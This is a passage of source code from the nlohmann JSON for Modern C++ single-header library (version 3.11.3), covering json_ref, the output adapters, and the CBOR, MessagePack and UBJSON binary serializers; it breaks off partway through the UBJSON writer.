!(lhs == rhs);\n}\n\ntemplate<typename RefStringTypeLhs,\n    typename StringType = typename json_pointer<RefStringTypeLhs>::string_t>\nJSON_HEDLEY_DEPRECATED_FOR(3.11.2, operator!=(json_pointer, json_pointer))\ninline bool operator!=(const json_pointer<RefStringTypeLhs>& lhs,\n    const StringType& rhs)\n{\n    return !(lhs == rhs);\n}\n\ntemplate<typename RefStringTypeRhs,\n    typename StringType = typename json_pointer<RefStringTypeRhs>::string_t>\nJSON_HEDLEY_DEPRECATED_FOR(3.11.2, operator!=(json_pointer, json_pointer))\ninline bool operator!=(const StringType& lhs,\n    const json_pointer<RefStringTypeRhs>& rhs)\n{\n    return !(lhs == rhs);\n}\n\ntemplate<typename RefStringTypeLhs, typename RefStringTypeRhs>\ninline bool operator<(const json_pointer<RefStringTypeLhs>& lhs,\n    const json_pointer<RefStringTypeRhs>& rhs) noexcept\n{\n    return lhs.reference_tokens < rhs.reference_tokens;\n}\n#endif\n\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/json_ref.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <initializer_list>\n#include <utility>\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    template<typename BasicJsonType>\n    class json_ref\n    {\n    public:\n        using value_type = BasicJsonType;\n\n        json_ref(value_type&& value)\n            : owned_value(std::move(value))\n        {\n        }\n\n        json_ref(const value_type& value)\n            : value_ref(&value)\n        {\n        }\n\n        json_ref(std::initializer_list<json_ref> init)\n            : owned_value(init)\n        {\n        }\n\n        template <\n            class... Args,\n            enable_if_t<std::is_constructible<value_type, Args...>::value, int> = 0 >\n        json_ref(Args && ... args)\n            : owned_value(std::forward<Args>(args)...)\n        {\n        }\n\n        // class should be movable only\n        json_ref(json_ref&&) noexcept = default;\n        json_ref(const json_ref&) = delete;\n        json_ref& operator=(const json_ref&) = delete;\n        json_ref& operator=(json_ref&&) = delete;\n        ~json_ref() = default;\n\n        value_type moved_or_copied() const\n        {\n            if (value_ref == nullptr)\n            {\n                return std::move(owned_value);\n            }\n            return *value_ref;\n        }\n\n        value_type const& operator*() const\n        {\n            return value_ref ? *value_ref : owned_value;\n        }\n\n        value_type const* operator->() const\n        {\n            return &**this;\n        }\n\n    private:\n        mutable value_type owned_value = nullptr;\n        value_type const* value_ref = nullptr;\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/string_concat.hpp>\n\n// #include <nlohmann/detail/string_escape.hpp>\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n// #include <nlohmann/detail/output/binary_writer.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <algorithm> // reverse\n#include <array> // array\n#include <map> // map\n#include <cmath> // isnan, isinf\n#include <cstdint> // uint8_t, uint16_t, uint32_t, uint64_t\n#include <cstring> // memcpy\n#include <limits> // numeric_limits\n#include <string> // string\n#include <utility> // move\n#include <vector> // vector\n\n// #include <nlohmann/detail/input/binary_reader.hpp>\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/output/output_adapters.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <algorithm> // copy\n#include <cstddef> // size_t\n#include <iterator> // back_inserter\n#include <memory> // shared_ptr, make_shared\n#include <string> // basic_string\n#include <vector> // vector\n\n#ifndef JSON_NO_IO\n#include <ios>      // streamsize\n#include <ostream>  // basic_ostream\n#endif  // JSON_NO_IO\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /// abstract output adapter interface\n    template<typename CharType> struct output_adapter_protocol\n    {\n        virtual void write_character(CharType c) = 0;\n        virtual void write_characters(const CharType* s, std::size_t length) = 0;\n        virtual ~output_adapter_protocol() = default;\n\n        output_adapter_protocol() = default;\n        output_adapter_protocol(const output_adapter_protocol&) = default;\n        output_adapter_protocol(output_adapter_protocol&&) noexcept = default;\n        output_adapter_protocol& operator=(const output_adapter_protocol&) = default;\n        output_adapter_protocol& operator=(output_adapter_protocol&&) noexcept = default;\n    };\n\n    /// a type to simplify interfaces\n    template<typename CharType>\n    using output_adapter_t = std::shared_ptr<output_adapter_protocol<CharType>>;\n\n    /// output adapter for byte vectors\n    template<typename CharType, typename AllocatorType = std::allocator<CharType>>\n    class output_vector_adapter : public output_adapter_protocol<CharType>\n    {\n    public:\n        explicit output_vector_adapter(std::vector<CharType, AllocatorType>& vec) noexcept\n            : v(vec)\n        {\n        }\n\n        void write_character(CharType c) override\n        {\n            v.push_back(c);\n        }\n\n        JSON_HEDLEY_NON_NULL(2)\n            void write_characters(const CharType* s, std::size_t length) override\n        {\n            v.insert(v.end(), s, s + length);\n        }\n\n    private:\n        std::vector<CharType, AllocatorType>& v;\n    };\n\n#ifndef JSON_NO_IO\n    /// output adapter for output streams\n    template<typename CharType>\n    class output_stream_adapter : public output_adapter_protocol<CharType>\n    {\n    public:\n        explicit output_stream_adapter(std::basic_ostream<CharType>& s) noexcept\n            : stream(s)\n        {\n        }\n\n        void write_character(CharType c) override\n        {\n            stream.put(c);\n        }\n\n        JSON_HEDLEY_NON_NULL(2)\n            void write_characters(const CharType* s, std::size_t length) override\n        {\n            stream.write(s, static_cast<std::streamsize>(length));\n        }\n\n    private:\n        std::basic_ostream<CharType>& stream;\n    };\n#endif  // JSON_NO_IO\n\n    /// output adapter for basic_string\n    template<typename CharType, typename StringType = std::basic_string<CharType>>\n    class output_string_adapter : public output_adapter_protocol<CharType>\n    {\n    public:\n        explicit output_string_adapter(StringType& s) noexcept\n            : str(s)\n        {\n        }\n\n        void write_character(CharType c) override\n        {\n            str.push_back(c);\n        }\n\n        JSON_HEDLEY_NON_NULL(2)\n            void write_characters(const CharType* s, std::size_t length) override\n        {\n            str.append(s, length);\n        }\n\n    private:\n        StringType& str;\n    };\n\n    template<typename CharType, typename StringType = std::basic_string<CharType>>\n    class output_adapter\n    {\n    public:\n        template<typename AllocatorType = std::allocator<CharType>>\n        output_adapter(std::vector<CharType, AllocatorType>& vec)\n            : oa(std::make_shared<output_vector_adapter<CharType, AllocatorType>>(vec)) {\n        }\n\n#ifndef JSON_NO_IO\n        output_adapter(std::basic_ostream<CharType>& s)\n            : oa(std::make_shared<output_stream_adapter<CharType>>(s)) {\n        }\n#endif  // JSON_NO_IO\n\n        output_adapter(StringType& s)\n            : oa(std::make_shared<output_string_adapter<CharType, StringType>>(s)) {\n        }\n\n        operator output_adapter_t<CharType>()\n        {\n            return oa;\n        }\n\n    private:\n        output_adapter_t<CharType> oa = nullptr;\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/string_concat.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    ///////////////////\n    // binary writer //\n    ///////////////////\n\n    /*!\n    @brief serialization to CBOR and MessagePack values\n    */\n    template<typename BasicJsonType, typename CharType>\n    class binary_writer\n    {\n        using string_t = typename BasicJsonType::string_t;\n        using binary_t = typename BasicJsonType::binary_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n\n    public:\n        /*!\n        @brief create a binary writer\n\n        @param[in] adapter  output adapter to write to\n        */\n        explicit binary_writer(output_adapter_t<CharType> adapter) : oa(std::move(adapter))\n        {\n            JSON_ASSERT(oa);\n        }\n\n        /*!\n        @param[in] j  JSON value to serialize\n        @pre       j.type() == value_t::object\n        */\n        void write_bson(const BasicJsonType& j)\n        {\n            switch (j.type())\n            {\n            case value_t::object:\n            {\n                write_bson_object(*j.m_data.m_value.object);\n                break;\n            }\n\n            case value_t::null:\n            case value_t::array:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                JSON_THROW(type_error::create(317, concat(\"to serialize to BSON, top-level type must be object, but is \", j.type_name()), &j));\n            }\n            }\n        }\n\n        /*!\n        @param[in] j  JSON value to serialize\n        */\n        void write_cbor(const BasicJsonType& j)\n        {\n            switch (j.type())\n            {\n            case value_t::null:\n            {\n                oa->write_character(to_char_type(0xF6));\n                break;\n            }\n\n            case value_t::boolean:\n            {\n                oa->write_character(j.m_data.m_value.boolean\n                    ? to_char_type(0xF5)\n                    : to_char_type(0xF4));\n                break;\n            }\n\n            case value_t::number_integer:\n            {\n                if (j.m_data.m_value.number_integer >= 0)\n                {\n                    // CBOR does not differentiate between positive signed\n                    // integers and unsigned integers. Therefore, we used the\n                    // code from the value_t::number_unsigned case here.\n                    if (j.m_data.m_value.number_integer <= 0x17)\n                    {\n                        write_number(static_cast<std::uint8_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_integer <= (std::numeric_limits<std::uint8_t>::max)())\n                    {\n                        oa->write_character(to_char_type(0x18));\n                        write_number(static_cast<std::uint8_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_integer <= (std::numeric_limits<std::uint16_t>::max)())\n                    {\n                        oa->write_character(to_char_type(0x19));\n                        write_number(static_cast<std::uint16_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_integer <= (std::numeric_limits<std::uint32_t>::max)())\n                    {\n                        oa->write_character(to_char_type(0x1A));\n                        write_number(static_cast<std::uint32_t>(j.m_data.m_value.number_integer));\n                    }\n                    else\n                    {\n                        oa->write_character(to_char_type(0x1B));\n                        write_number(static_cast<std::uint64_t>(j.m_data.m_value.number_integer));\n                    }\n                }\n                else\n                {\n                    // The conversions below encode the sign in the first\n                    // byte, and the value is converted to a positive number.\n                    const auto positive_number = -1 - j.m_data.m_value.number_integer;\n                    if (j.m_data.m_value.number_integer >= -24)\n                    {\n                        write_number(static_cast<std::uint8_t>(0x20 + positive_number));\n                    }\n                    else if (positive_number <= (std::numeric_limits<std::uint8_t>::max)())\n                    {\n                        oa->write_character(to_char_type(0x38));\n                        write_number(static_cast<std::uint8_t>(positive_number));\n                    }\n                    else if (positive_number <= (std::numeric_limits<std::uint16_t>::max)())\n                    {\n                        oa->write_character(to_char_type(0x39));\n                        write_number(static_cast<std::uint16_t>(positive_number));\n                    }\n                    else if (positive_number <= (std::numeric_limits<std::uint32_t>::max)())\n                    {\n                        oa->write_character(to_char_type(0x3A));\n                        write_number(static_cast<std::uint32_t>(positive_number));\n                    }\n                    else\n                    {\n                        oa->write_character(to_char_type(0x3B));\n                        write_number(static_cast<std::uint64_t>(positive_number));\n                    }\n                }\n                break;\n            }\n\n            case value_t::number_unsigned:\n            {\n                if (j.m_data.m_value.number_unsigned <= 0x17)\n                {\n                    write_number(static_cast<std::uint8_t>(j.m_data.m_value.number_unsigned));\n                }\n                else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x18));\n                    write_number(static_cast<std::uint8_t>(j.m_data.m_value.number_unsigned));\n                }\n                else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x19));\n                    write_number(static_cast<std::uint16_t>(j.m_data.m_value.number_unsigned));\n                }\n                else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x1A));\n                    write_number(static_cast<std::uint32_t>(j.m_data.m_value.number_unsigned));\n                }\n                else\n                {\n                    oa->write_character(to_char_type(0x1B));\n                    write_number(static_cast<std::uint64_t>(j.m_data.m_value.number_unsigned));\n                }\n                break;\n            }\n\n            case value_t::number_float:\n            {\n                if (std::isnan(j.m_data.m_value.number_float))\n                {\n                    // NaN is 0xf97e00 in CBOR\n                    oa->write_character(to_char_type(0xF9));\n                    oa->write_character(to_char_type(0x7E));\n                    oa->write_character(to_char_type(0x00));\n                }\n                else if (std::isinf(j.m_data.m_value.number_float))\n                {\n                    // Infinity is 0xf97c00, -Infinity is 0xf9fc00\n                    oa->write_character(to_char_type(0xf9));\n                    oa->write_character(j.m_data.m_value.number_float > 0 ? to_char_type(0x7C) : to_char_type(0xFC));\n                    oa->write_character(to_char_type(0x00));\n                }\n                else\n                {\n                    write_compact_float(j.m_data.m_value.number_float, detail::input_format_t::cbor);\n                }\n                break;\n            }\n\n            case value_t::string:\n            {\n                // step 1: write control byte and the string length\n                const auto N = j.m_data.m_value.string->size();\n                if (N <= 0x17)\n                {\n                    write_number(static_cast<std::uint8_t>(0x60 + N));\n                }\n                else if (N <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x78));\n                    write_number(static_cast<std::uint8_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x79));\n                    write_number(static_cast<std::uint16_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x7A));\n                    write_number(static_cast<std::uint32_t>(N));\n                }\n                // LCOV_EXCL_START\n                else if (N <= (std::numeric_limits<std::uint64_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x7B));\n                    write_number(static_cast<std::uint64_t>(N));\n                }\n                // LCOV_EXCL_STOP\n\n                // step 2: write the string\n                oa->write_characters(\n                    reinterpret_cast<const CharType*>(j.m_data.m_value.string->c_str()),\n                    j.m_data.m_value.string->size());\n                break;\n            }\n\n            case value_t::array:\n            {\n                // step 1: write control byte and the array size\n                const auto N = j.m_data.m_value.array->size();\n                if (N <= 0x17)\n                {\n                    write_number(static_cast<std::uint8_t>(0x80 + N));\n                }\n                else if (N <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x98));\n                    write_number(static_cast<std::uint8_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x99));\n                    write_number(static_cast<std::uint16_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x9A));\n                    write_number(static_cast<std::uint32_t>(N));\n                }\n                // LCOV_EXCL_START\n                else if (N <= (std::numeric_limits<std::uint64_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x9B));\n                    write_number(static_cast<std::uint64_t>(N));\n                }\n                // LCOV_EXCL_STOP\n\n                // step 2: write each element\n                for (const auto& el : *j.m_data.m_value.array)\n                {\n                    write_cbor(el);\n                }\n                break;\n            }\n\n            case value_t::binary:\n            {\n                if (j.m_data.m_value.binary->has_subtype())\n                {\n                    if (j.m_data.m_value.binary->subtype() <= (std::numeric_limits<std::uint8_t>::max)())\n                    {\n                        write_number(static_cast<std::uint8_t>(0xd8));\n                        write_number(static_cast<std::uint8_t>(j.m_data.m_value.binary->subtype()));\n                    }\n                    else if (j.m_data.m_value.binary->subtype() <= (std::numeric_limits<std::uint16_t>::max)())\n                    {\n                        write_number(static_cast<std::uint8_t>(0xd9));\n                        write_number(static_cast<std::uint16_t>(j.m_data.m_value.binary->subtype()));\n                    }\n                    else if (j.m_data.m_value.binary->subtype() <= (std::numeric_limits<std::uint32_t>::max)())\n                    {\n                        write_number(static_cast<std::uint8_t>(0xda));\n                        write_number(static_cast<std::uint32_t>(j.m_data.m_value.binary->subtype()));\n                    }\n                    else if (j.m_data.m_value.binary->subtype() <= (std::numeric_limits<std::uint64_t>::max)())\n                    {\n                        write_number(static_cast<std::uint8_t>(0xdb));\n                        write_number(static_cast<std::uint64_t>(j.m_data.m_value.binary->subtype()));\n                    }\n                }\n\n                // step 1: write control byte and the binary array size\n                const auto N = j.m_data.m_value.binary->size();\n                if (N <= 0x17)\n                {\n                    write_number(static_cast<std::uint8_t>(0x40 + N));\n                }\n                else if (N <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x58));\n                    write_number(static_cast<std::uint8_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x59));\n                    write_number(static_cast<std::uint16_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x5A));\n                    write_number(static_cast<std::uint32_t>(N));\n                }\n                // LCOV_EXCL_START\n                else if (N <= (std::numeric_limits<std::uint64_t>::max)())\n                {\n                    oa->write_character(to_char_type(0x5B));\n                    write_number(static_cast<std::uint64_t>(N));\n                }\n                // LCOV_EXCL_STOP\n\n                // step 2: write each element\n                oa->write_characters(\n                    reinterpret_cast<const CharType*>(j.m_data.m_value.binary->data()),\n                    N);\n\n                break;\n            }\n\n            case value_t::object:\n            {\n                // step 1: write control byte and the object size\n                const auto N = j.m_data.m_value.object->size();\n                if (N <= 0x17)\n                {\n                    write_number(static_cast<std::uint8_t>(0xA0 + N));\n                }\n                else if (N <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    oa->write_character(to_char_type(0xB8));\n                    write_number(static_cast<std::uint8_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    oa->write_character(to_char_type(0xB9));\n                    write_number(static_cast<std::uint16_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    oa->write_character(to_char_type(0xBA));\n                    write_number(static_cast<std::uint32_t>(N));\n                }\n                // LCOV_EXCL_START\n                else if (N <= (std::numeric_limits<std::uint64_t>::max)())\n                {\n                    oa->write_character(to_char_type(0xBB));\n                    write_number(static_cast<std::uint64_t>(N));\n                }\n                // LCOV_EXCL_STOP\n\n                // step 2: write each element\n                for (const auto& el : *j.m_data.m_value.object)\n                {\n                    write_cbor(el.first);\n                    write_cbor(el.second);\n                }\n                break;\n            }\n\n            case value_t::discarded:\n            default:\n                break;\n            }\n        }\n\n        /*!\n        @param[in] j  JSON value to serialize\n        */\n        void write_msgpack(const BasicJsonType& j)\n        {\n            switch (j.type())\n            {\n            case value_t::null: // nil\n            {\n                oa->write_character(to_char_type(0xC0));\n                break;\n            }\n\n            case value_t::boolean: // true and false\n            {\n                oa->write_character(j.m_data.m_value.boolean\n                    ? to_char_type(0xC3)\n                    : to_char_type(0xC2));\n                break;\n            }\n\n            case value_t::number_integer:\n            {\n                if (j.m_data.m_value.number_integer >= 0)\n                {\n                    // MessagePack does not differentiate between positive\n                    // signed integers and unsigned integers. Therefore, we used\n                    // the code from the value_t::number_unsigned case here.\n                    if (j.m_data.m_value.number_unsigned < 128)\n                    {\n                        // positive fixnum\n                        write_number(static_cast<std::uint8_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint8_t>::max)())\n                    {\n                        // uint 8\n                        oa->write_character(to_char_type(0xCC));\n                        write_number(static_cast<std::uint8_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint16_t>::max)())\n                    {\n                        // uint 16\n                        oa->write_character(to_char_type(0xCD));\n                        write_number(static_cast<std::uint16_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint32_t>::max)())\n                    {\n                        // uint 32\n                        oa->write_character(to_char_type(0xCE));\n                        write_number(static_cast<std::uint32_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint64_t>::max)())\n                    {\n                        // uint 64\n                        oa->write_character(to_char_type(0xCF));\n                        write_number(static_cast<std::uint64_t>(j.m_data.m_value.number_integer));\n                    }\n                }\n                else\n                {\n                    if (j.m_data.m_value.number_integer >= -32)\n                    {\n                        // negative fixnum\n                        write_number(static_cast<std::int8_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_integer >= (std::numeric_limits<std::int8_t>::min)() &&\n                        j.m_data.m_value.number_integer <= (std::numeric_limits<std::int8_t>::max)())\n                    {\n                        // int 8\n                        oa->write_character(to_char_type(0xD0));\n                        write_number(static_cast<std::int8_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_integer >= (std::numeric_limits<std::int16_t>::min)() &&\n                        j.m_data.m_value.number_integer <= (std::numeric_limits<std::int16_t>::max)())\n                    {\n                        // int 16\n                        oa->write_character(to_char_type(0xD1));\n                        write_number(static_cast<std::int16_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_integer >= (std::numeric_limits<std::int32_t>::min)() &&\n                        j.m_data.m_value.number_integer <= (std::numeric_limits<std::int32_t>::max)())\n                    {\n                        // int 32\n                        oa->write_character(to_char_type(0xD2));\n                        write_number(static_cast<std::int32_t>(j.m_data.m_value.number_integer));\n                    }\n                    else if (j.m_data.m_value.number_integer >= (std::numeric_limits<std::int64_t>::min)() &&\n                        j.m_data.m_value.number_integer <= (std::numeric_limits<std::int64_t>::max)())\n                    {\n                        // int 64\n                        oa->write_character(to_char_type(0xD3));\n                        write_number(static_cast<std::int64_t>(j.m_data.m_value.number_integer));\n                    }\n                }\n                break;\n            }\n\n            case value_t::number_unsigned:\n            {\n                if (j.m_data.m_value.number_unsigned < 128)\n                {\n                    // positive fixnum\n                    write_number(static_cast<std::uint8_t>(j.m_data.m_value.number_integer));\n                }\n                else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    // uint 8\n                    oa->write_character(to_char_type(0xCC));\n                    write_number(static_cast<std::uint8_t>(j.m_data.m_value.number_integer));\n                }\n                else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    // uint 16\n                    oa->write_character(to_char_type(0xCD));\n                    write_number(static_cast<std::uint16_t>(j.m_data.m_value.number_integer));\n                }\n                else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    // uint 32\n                    oa->write_character(to_char_type(0xCE));\n                    write_number(static_cast<std::uint32_t>(j.m_data.m_value.number_integer));\n                }\n                else if (j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint64_t>::max)())\n                {\n                    // uint 64\n                    oa->write_character(to_char_type(0xCF));\n                    write_number(static_cast<std::uint64_t>(j.m_data.m_value.number_integer));\n                }\n                break;\n            }\n\n            case value_t::number_float:\n            {\n                write_compact_float(j.m_data.m_value.number_float, detail::input_format_t::msgpack);\n                break;\n            }\n\n            case value_t::string:\n            {\n                // step 1: write control byte and the string length\n                const auto N = j.m_data.m_value.string->size();\n                if (N <= 31)\n                {\n                    // fixstr\n                    write_number(static_cast<std::uint8_t>(0xA0 | N));\n                }\n                else if (N <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    // str 8\n                    oa->write_character(to_char_type(0xD9));\n                    write_number(static_cast<std::uint8_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    // str 16\n                    oa->write_character(to_char_type(0xDA));\n                    write_number(static_cast<std::uint16_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    // str 32\n                    oa->write_character(to_char_type(0xDB));\n                    write_number(static_cast<std::uint32_t>(N));\n                }\n\n                // step 2: write the string\n                oa->write_characters(\n                    reinterpret_cast<const CharType*>(j.m_data.m_value.string->c_str()),\n                    j.m_data.m_value.string->size());\n                break;\n            }\n\n            case value_t::array:\n            {\n                // step 1: write control byte and the array size\n                const auto N = j.m_data.m_value.array->size();\n                if (N <= 15)\n                {\n                    // fixarray\n                    write_number(static_cast<std::uint8_t>(0x90 | N));\n                }\n                else if (N <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    // array 16\n                    oa->write_character(to_char_type(0xDC));\n                    write_number(static_cast<std::uint16_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    // array 32\n                    oa->write_character(to_char_type(0xDD));\n                    write_number(static_cast<std::uint32_t>(N));\n                }\n\n                // step 2: write each element\n                for (const auto& el : *j.m_data.m_value.array)\n                {\n                    write_msgpack(el);\n                }\n                break;\n            }\n\n            case value_t::binary:\n            {\n                // step 0: determine if the binary type has a set subtype to\n                // determine whether or not to use the ext or fixext types\n                const bool use_ext = j.m_data.m_value.binary->has_subtype();\n\n                // step 1: write control byte and the byte string length\n                const auto N = j.m_data.m_value.binary->size();\n                if (N <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    std::uint8_t output_type{};\n                    bool fixed = true;\n                    if (use_ext)\n                    {\n                        switch (N)\n                        {\n                        case 1:\n                            output_type = 0xD4; // fixext 1\n                            break;\n                        case 2:\n                            output_type = 0xD5; // fixext 2\n                            break;\n                        case 4:\n                            output_type = 0xD6; // fixext 4\n                            break;\n                        case 8:\n                            output_type = 0xD7; // fixext 8\n                            break;\n                        case 16:\n                            output_type = 0xD8; // fixext 16\n                            break;\n                        default:\n                            output_type = 0xC7; // ext 8\n                            fixed = false;\n                            break;\n                        }\n\n                    }\n                    else\n                    {\n                        output_type = 0xC4; // bin 8\n                        fixed = false;\n                    }\n\n                    oa->write_character(to_char_type(output_type));\n                    if (!fixed)\n                    {\n                        write_number(static_cast<std::uint8_t>(N));\n                    }\n                }\n                else if (N <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    const std::uint8_t output_type = use_ext\n                        ? 0xC8 // ext 16\n                        : 0xC5; // bin 16\n\n                    oa->write_character(to_char_type(output_type));\n                    write_number(static_cast<std::uint16_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    const std::uint8_t output_type = use_ext\n                        ? 0xC9 // ext 32\n                        : 0xC6; // bin 32\n\n                    oa->write_character(to_char_type(output_type));\n                    write_number(static_cast<std::uint32_t>(N));\n                }\n\n                // step 1.5: if this is an ext type, write the subtype\n                if (use_ext)\n                {\n                    write_number(static_cast<std::int8_t>(j.m_data.m_value.binary->subtype()));\n                }\n\n                // step 2: write the byte string\n                oa->write_characters(\n                    reinterpret_cast<const CharType*>(j.m_data.m_value.binary->data()),\n                    N);\n\n                break;\n            }\n\n            case value_t::object:\n            {\n                // step 1: write control byte and the object size\n                const auto N = j.m_data.m_value.object->size();\n                if (N <= 15)\n                {\n                    // fixmap\n                    write_number(static_cast<std::uint8_t>(0x80 | (N & 0xF)));\n                }\n                else if (N <= (std::numeric_limits<std::uint16_t>::max)())\n                {\n                    // map 16\n                    oa->write_character(to_char_type(0xDE));\n                    write_number(static_cast<std::uint16_t>(N));\n                }\n                else if (N <= (std::numeric_limits<std::uint32_t>::max)())\n                {\n                    // map 32\n                    oa->write_character(to_char_type(0xDF));\n                    write_number(static_cast<std::uint32_t>(N));\n                }\n\n                // step 2: write each element\n                for (const auto& el : *j.m_data.m_value.object)\n                {\n                    write_msgpack(el.first);\n                    write_msgpack(el.second);\n                }\n                break;\n            }\n\n            case value_t::discarded:\n            default:\n                break;\n            }\n        }\n\n        /*!\n        @param[in] j  JSON value to serialize\n        @param[in] use_count   whether to use '#' prefixes (optimized format)\n        @param[in] use_type    whether to use '$' prefixes (optimized format)\n        @param[in] add_prefix  whether prefixes need to be used for this value\n        @param[in] use_bjdata  whether write in BJData format, default is false\n        */\n        void write_ubjson(const BasicJsonType& j, const bool use_count,\n            const bool use_type, const bool add_prefix = true,\n            const bool use_bjdata = false)\n        {\n            switch (j.type())\n            {\n            case value_t::null:\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('Z'));\n                }\n                break;\n            }\n\n            case value_t::boolean:\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(j.m_data.m_value.boolean\n                        ? to_char_type('T')\n                        : to_char_type('F'));\n                }\n                break;\n            }\n\n            case value_t::number_integer:\n            {\n                write_number_with_ubjson_prefix(j.m_data.m_value.number_integer, add_prefix, use_bjdata);\n                break;\n            }\n\n            case value_t::number_unsigned:\n            {\n                write_number_with_ubjson_prefix(j.m_data.m_value.number_unsigned, add_prefix, use_bjdata);\n                break;\n            }\n\n            case value_t::number_float:\n            {\n                write_number_with_ubjson_prefix(j.m_data.m_value.number_float, add_prefix, use_bjdata);\n                break;\n            }\n\n            case value_t::string:\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('S'));\n                }\n                write_number_with_ubjson_prefix(j.m_data.m_value.string->size(), true, use_bjdata);\n                oa->write_characters(\n                    reinterpret_cast<const CharType*>(j.m_data.m_value.string->c_str()),\n                    j.m_data.m_value.string->size());\n                break;\n            }\n\n            case value_t::array:\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('['));\n                }\n\n                bool prefix_required = true;\n                if 